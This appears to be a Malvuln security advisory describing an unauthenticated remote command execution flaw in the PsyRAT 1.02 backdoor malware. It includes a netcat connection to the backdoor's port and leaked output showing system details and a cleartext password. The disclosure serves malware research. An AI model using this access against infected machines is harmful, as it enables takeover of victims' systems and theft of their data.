Backdoor.Win32.PsyRat.b malware suffers from a code execution vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt
Contact: [email protected]
Vulnerability: Unauthenticated Remote Command Execution
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863, but can be changed when building backdoor servers. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. The backdoors cpuinfo command will leak system details including cleartext password.
Vuln ID: MVID-2021-0306
Dropped files: server.exe
nc64.exe x.x.x.x 9863
you are a loser
Windows Version: |System Directory: C:WINDOWSsystem32|Computer Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port: 192.168.18.130:9863|Password: abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL: http://yourdomain.com/log.php
PsyRAT 0.01 BETA
C: - Fixed Drive^D: - CD-ROM^
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